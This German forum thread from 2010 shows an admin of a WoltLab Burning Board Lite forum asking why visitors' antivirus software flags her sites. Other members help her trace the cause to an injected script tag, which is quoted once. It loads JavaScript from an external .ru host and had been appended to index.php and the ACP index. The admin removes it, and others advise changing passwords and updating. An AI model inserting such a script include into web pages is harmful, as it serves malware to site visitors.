YourWBB

yourWBB » WoltLab Burning Board Generation 2 * » Alles von und für das WBB Lite 1.0.x » [WBB Lite 1.0.x] Allg. Fragen und Probleme » Viren & Co in WBBlite?

» Hallo Gast [Anmelden|Registrieren]

Letzter Beitrag | Erster ungelesener Beitrag

1.631 Views | | Thema zu Favoriten hinzufügen

Neues Thema erstellen Antwort erstellen

Dieses Thema wurde als erledigt markiert. Thread erledigt

Viren & Co in WBBlite?

Autor

Beitrag

« Vorheriges Thema | Nächstes Thema »

schnaufel schnaufel ist weiblich

Mitglied

Dabei seit: 19.06.08
Beiträge: 58
Fähigkeiten: WBB Lite 1 Anfänger
Forenversion: Lite 1.0

Viren & Co in WBBlite?

Antworten Zitieren Editieren Melden UP

So da ich langsam wirklich verzweifel wende ich mich weider einmal an euch und hoffe so eine Lösung für die Probleme zu finden... was kann ich tun? woran könnte es liegen wie könnte ich ggf von hackern eingefügte sqripte aufspüren?

Problembeschreibung:
Seit 2 Tagen melden mir vereinzelte User Viren bzw Trojanameldungen ihrer Antivierenprogramme wenn sie Foren aufrufen die auf meinem Webspace gehostet sind. (Bei einem User mit Kaspersky oder wie es heißt ist gar kein zugriff mehr möglich, bei anderen Usern betrifft es nur ein Forum - ich selbst habe mit antivier keine probleme)

Fehlermeldung:
Leider unterschiedlich (liegt wohl an den verschiedenen Antivierprogrammen)

Links zum Forum und Screenshot (KEINE Bilderhoster, per Dateianhang):
http://www.passionofwar.sandiego-rpg.de/
http://www.sandiego-rpg.de/

Was wurde zuletzt geändert oder eingebaut?
Nichts einzig der Rat des Hosters den inhalt des ftp downzuloaden und ihn mit virenprogrammen zu prüfen wurde gemacht (ergebnis war kein fund)

02.09.10 22:08

E-Mail Finden Als Freund hinzufügen

mkkcs

Mitglied

Dabei seit: 06.10.04
Beiträge: 2.051
Fähigkeiten: WBB2 Profi; WBB2 Fortgeschritten; WBB Lite 1 Profi
Herkunft: aus Mamas Bauch
Forenversion: 2.3; 2.2

Antworten Zitieren Editieren Melden UP

mmh, kommt das Problem nur auf der Index oder nur irgendwo im Thread ?

und dann noch ne Frage, was ist das

code:
1: 2: 3:	<script type="text/javascript" src="http://misspan.ru/Native_File.js"></script> <!--74da24e8aa20a65e237a4314315b507f--></script>

müßte evtl. im index-Template hängen

da es auf anderen Seiten nicht auftaucht !

__________________
LG Martin
-
grafix-board
http://www.wbbcoderforum.de
hat seine Tore wieder geöffnet!
Style-Einbau-Anleitung
WCF-News: mywbb goes to WCF

02.09.10 22:16

E-Mail WWW Finden Als Freund hinzufügen

schnaufel schnaufel ist weiblich

Mitglied

Dabei seit: 19.06.08
Beiträge: 58
Fähigkeiten: WBB Lite 1 Anfänger
Forenversion: Lite 1.0

Themenstarter Thema begonnen von schnaufel

Antworten Zitieren Editieren Melden UP

Also erstmal danke für deine schnelle antwort und ... wow gute frage nächste frage.

Ich mach mich mal auf die Suche danach, von mir is das auf keinen fall reingecodet ich teste mal ob die probleme behoben sind wenn das weg ist Versagt

Alsoooo ein erster blick in die Index.php brachte ganz unten am ende diesen komischen abschnitt (unter meinem Styldropdownpart erg NICHT VON MIR)

ich werde nun heute nacht alle datein auf diesen abschnitt kontrollieren nun noch 2 fragen

a) sollte ich den gesamten webspace leeren und dann neu aufspielen ja / nein?
b) wie kann ich verhindern das diese russen mir das nochmal reinpacken den ja .ru ist russland böse

Dieser Beitrag wurde 1 mal editiert, zum letzten Mal von schnaufel: 02.09.10 22:27.

02.09.10 22:23

E-Mail Finden Als Freund hinzufügen

mifupa mifupa ist männlich

ITler

Dabei seit: 30.09.08
Beiträge: 122
Fähigkeiten: WBB3 Fortgeschritten
Herkunft: Passau
Forenversion: 3.1

Antworten Zitieren Editieren Melden UP

Moin Moin,

zuerst: FTP Passwort, Mysql Passwort und Admin Passwort ändern.
Am besten Groß und Kleinschreibung, sonderzeichen und zahlen.

Ein komplettes löschen des Webspaces wird nichts bringen - wieso auch? Der "Virus" hockt in den Datein und nicht auf dem Webspace. Wo hostest du denn?

Zu b), einfach sichere Passwörter benutzen, die Daten nicht irgendwelche typen geben und auch schauen, dass du nicht zuviele Plugins nutzt.

Immer schön updaten

Die .ru Domain muss nichts heißen. Jeder kann sich .ru Domains registrieren, da ist nichts dabei

02.09.10 22:49

E-Mail Finden Als Freund hinzufügen

schnaufel schnaufel ist weiblich

Mitglied

Dabei seit: 19.06.08
Beiträge: 58
Fähigkeiten: WBB Lite 1 Anfänger
Forenversion: Lite 1.0

Themenstarter Thema begonnen von schnaufel

Antworten Zitieren Editieren Melden UP

*Edit: So da nun mit Hilfe von mifupa alles wieder so ist wie es sein soll will ich nochmal ganzlieb danke sagen an alle die mir geholfen haben.

Sollte noch jemand plötzliche Virenmeldungen haben hier mein Problem in Kurzübersicht.

- in der Index. php &Acp/index.php wurde ein javasqriptvermerk (siehe oben) am Ende des Files angeführt.
- nachdem ich dieses gelöscht habe war alles wieder gut

Scheint so als hätte mal wieder ein Kellerkind langeweile gehabt ... in dem sinne nochmal danke an alle und :closed: großes Grinsen

Dieser Beitrag wurde 1 mal editiert, zum letzten Mal von schnaufel: 03.09.10 00:24.

02.09.10 22:51

E-Mail Finden Als Freund hinzufügen

Baumstruktur | Brettstruktur

Gehe zu:

Neues Thema erstellen Antwort erstellen

yourWBB » WoltLab Burning Board Generation 2 * » Alles von und für das WBB Lite 1.0.x » [WBB Lite 1.0.x] Allg. Fragen und Probleme » Viren & Co in WBBlite?